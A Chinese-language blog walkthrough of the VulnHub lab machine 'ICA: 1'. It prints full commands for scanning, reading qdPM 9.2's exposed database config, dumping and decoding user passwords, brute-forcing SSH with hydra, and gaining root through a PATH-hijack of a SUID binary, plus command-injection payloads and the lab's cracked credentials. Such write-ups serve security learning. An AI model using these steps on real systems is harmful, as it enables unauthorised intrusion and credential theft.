ICA: 1靶场渗透

发布于:2025-09-05 ⋅ 阅读:(19) ⋅ 点赞:(0)

ICA: 1

来自 <ICA: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.150

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.150

开放端口与服务:

  • 22/tcp — OpenSSH 8.4p1 Debian 5 (protocol 2.0)
  • 80/tcp — Apache httpd 2.4.48 (Debian)(页面:qdPM | Login)
  • 3306/tcp — MySQL 8.0.26(auth plugin: caching_sha2_password)
  • 33060/tcp — MySQL X protocol (mysqlx)

4,访问80端口开设的http服务

对网站指纹特征进行扫描识别

whatweb -v http://192.168.23.150 

5,在网页能看出其使用了一个框架qdPM,检索这个框架的过往漏洞

searchsploit qdPM 9.2

qdPM 概览

  • 全称qdPM (quality dedicated Project Manager)
  • 类型:开源的 项目管理/工单管理 (Project Management & Issue Tracking) 系统。
  • 开发语言/框架:基于 PHP + Symfony 框架 开发,前端主要是 HTML/CSS/JS。
  • 数据库:使用 MySQL/MariaDB 存储业务数据。
  • 运行环境:通常部署在 LAMP/LEMP 堆栈上(Linux + Apache/Nginx + MySQL + PHP)。

核心功能

  • 任务管理:支持创建、分配、跟踪任务(带优先级、状态流转)。
  • 项目管理:能管理多个项目、成员、里程碑。
  • 工单系统:适合软件开发团队跟踪 bug、需求。
  • 用户角色与权限控制:管理员、项目经理、开发人员、客户等分级权限。
  • 评论/协作:任务/项目可带评论、文件附件。
  • 报表:进度图表、任务统计、用户工时等。

安全相关点(渗透/审计角度)

  • 登录界面暴露:通常 /index.php/login 或 /login 是入口。
  • 配置文件:config/databases.yml(旧版本 Symfony)或 .yml/.php 配置文件里存储数据库凭证。
  • 默认凭证:某些安装包可能预置 admin 账号(需检查)。
  • 潜在漏洞历史
    • qdPM 不常更新,旧版本可能存在 SQL 注入、XSS、认证绕过 等已公开漏洞。
    • 由于使用 Symfony 旧版本,存在框架级别的已知漏洞风险。

使用场景

  • 中小型软件团队:bug 跟踪、需求管理。
  • 内部 IT 部门:工单/任务分配系统。
  • 外包团队:为客户提供进度可视化。

简单说,qdPM 就是一个基于 PHP/MySQL 的项目管理和缺陷跟踪系统,功能类似 Redmine、MantisBT,但轻量化、适合小团队。

6,阅读密码泄露漏洞利用的文件

searchsploit  -m 50176.txt

漏洞基本信息

  • 软件:qdPM 9.2
  • 漏洞类型:敏感信息泄露(配置文件直接暴露)
  • 影响范围:安装了 qdPM 9.2 且未做额外访问限制的服务器
  • 利用条件:无需认证(Unauthenticated)

漏洞细节

qdPM 使用 Symfony 框架,数据库连接配置存放在:

/core/config/databases.yml

http://192.168.23.150/core/config/databases.yml

成功通过这个连接下载到数据库信息文件,这是严重的信息泄露

阅读yaml文件

得到了mysql的账号和密码UcVQCMQk2STVeS6J

7,直接连接mysql

mysql -h 192.168.23.150 -P 3306 -u qdpmadmin -p --ssl=0

show databases;

use staff;

show tables;

select * from user;

select * from login;

由此得到五个账户和五个被base64编码的密码

8,将账户密码写入txt文件,再交由hydra进行ssh爆破(注意账户全部小写)

cat passwd.txt | while read line; do echo "$line" | base64 -d; echo; done

hydra -L user.txt -P passwd.txt ssh://192.168.23.150 

travis/DJceVy98W28Y7wLg

dexter/7ZwV4qtg42cmUXGX

9,ssh分别登录两个用户看看

ssh travis@192.168.23.150

得到第一个flag

ssh dexter@192.168.23.150

得到提示:

在我看来,该系统在访问过程中似乎存在一个漏洞。

据我所知,可执行文件的内容部分是可查看的。

我需要查明是否存在安全隐患。

10,在dexter用户上进行信息收集,先查找一下具有root权限的可执行的文件

find / -perm -u=s 2>/dev/null

有一个比较可疑的文件,用strings命令把它的字符串全部打印出来

SUID 程序概览

  • SUID 位于 /opt/get_access,说明程序以 文件所有者权限执行(通常是 root)。
  • strings 输出显示程序中调用了:
    • system
    • setuid
    • setgid
    • socket
    • puts
  • cat /root/system.info 的内容被提及:
    Could not create socket to access to the system.
    All services are disabled. Accessing to the system is allowed only within working hours.
  • 这说明程序里存在 调用 system() 执行命令的逻辑,且可能有条件限制(socket、时间等)。

提权思路分析

a) system() 调用

  • system() 是 典型的 SUID 提权入口,如果程序将用户输入传给 system() 而未过滤,攻击者可能 注入命令
  • 例如,如果程序执行:
    system(user_input);
    那么可以通过:
    /opt/get_access "; /bin/sh"
    或类似 payload 来获取 root shell。

b) 条件限制

  • 输出提示“只能在工作时间访问” → 可能会检查 系统时间,绕过的方法:
    • 修改系统时间(如果有权限)
    • 使用 LD_PRELOAD 环境变量劫持(如果程序不重置 env)

c) 静态分析线索

  • strings 显示程序依赖 libc,有 setuid/setgid,说明程序可能:
    1. 调用 setuid(0) 提升自己权限
    2. 然后调用 system() 执行命令
  • 如果你能控制输入(参数、环境变量),就可能触发 root 权限命令执行

实操步骤建议

  1. 尝试查看 SUID 文件帮助信息
    /opt/get_access --help
  2. 分析参数和输入
    • 尝试单引号、分号、反引号等命令注入符:
      /opt/get_access ";id"
      /opt/get_access "`id`"
      /opt/get_access "$(id)"
    • 查看是否输出了命令执行结果。
  3. 利用环境变量劫持(如果程序调用 system() 并使用 sh):
    export PATH=/tmp:$PATH
    cp /bin/sh /tmp/sh
    chmod +x /tmp/sh
    /opt/get_access arg
  4. GDB 或 ltrace 分析
    • 如果可执行文件是 ELF,可以在 Kali 上用:
      ltrace /opt/get_access
      strace /opt/get_access
    • 分析调用 system() 的参数,看看是否可控。

安全提示

  • 不要直接执行 SUID 提权实验在生产系统,建议在虚拟机/靶机中测试。
  • SUID 文件是 Linux 提权的高危点,攻击成功后可获得 root 权限

 

11,开始分布提权

1.创建伪命令

echo "/bin/bash" > /tmp/cat
chmod +x /tmp/cat

  • 你在 /tmp 下创建了一个可执行文件 cat,内容只是执行 /bin/bash。
  • 这是典型的 命令劫持 技术(Command Hijacking)。
  • 原理:如果某个 SUID 程序内部执行了 system("cat ...") 或类似命令,并且使用 环境变量 PATH 查找可执行文件,程序会优先调用你放在 PATH 前面的 /tmp/cat。

2.修改 PATH

export PATH=/tmp:$PATH

  • 把 /tmp 放在 PATH 的最前面
  • SUID 程序在调用命令时会按 PATH 顺序查找可执行文件
  • 因此,当程序执行 cat 时,会调用你创建的 /tmp/cat 而不是系统自带的 /bin/cat

3.执行 SUID 程序

/opt/get_access

  • 程序内部可能执行类似:

system("cat /root/system.info");

  • 因为 PATH 被修改,实际执行的命令是 /tmp/cat → /bin/bash
  • /opt/get_access 是 SUID root,因此执行的 /bin/bash 也是 root 权限
  • 结果:获得 root shell

原理总结

  1. SUID 文件 /opt/get_access 拥有 root 权限
  2. 程序内部调用 system() 或外部命令(如 cat)
  3. 利用 PATH 劫持:在 PATH 前面放置伪命令
  1. 当 SUID 程序执行命令时,会运行你的伪命令 → 获得 root shell

核心要点:

  • 利用 SUID 的权限继承
  • 利用系统对 PATH 的命令查找顺序
  • 利用 system() 或类似调用不安全的外部命令

最后成功提权成为root,得到flag

 


网站公告

今日签到

点亮在社区的每一天
去签到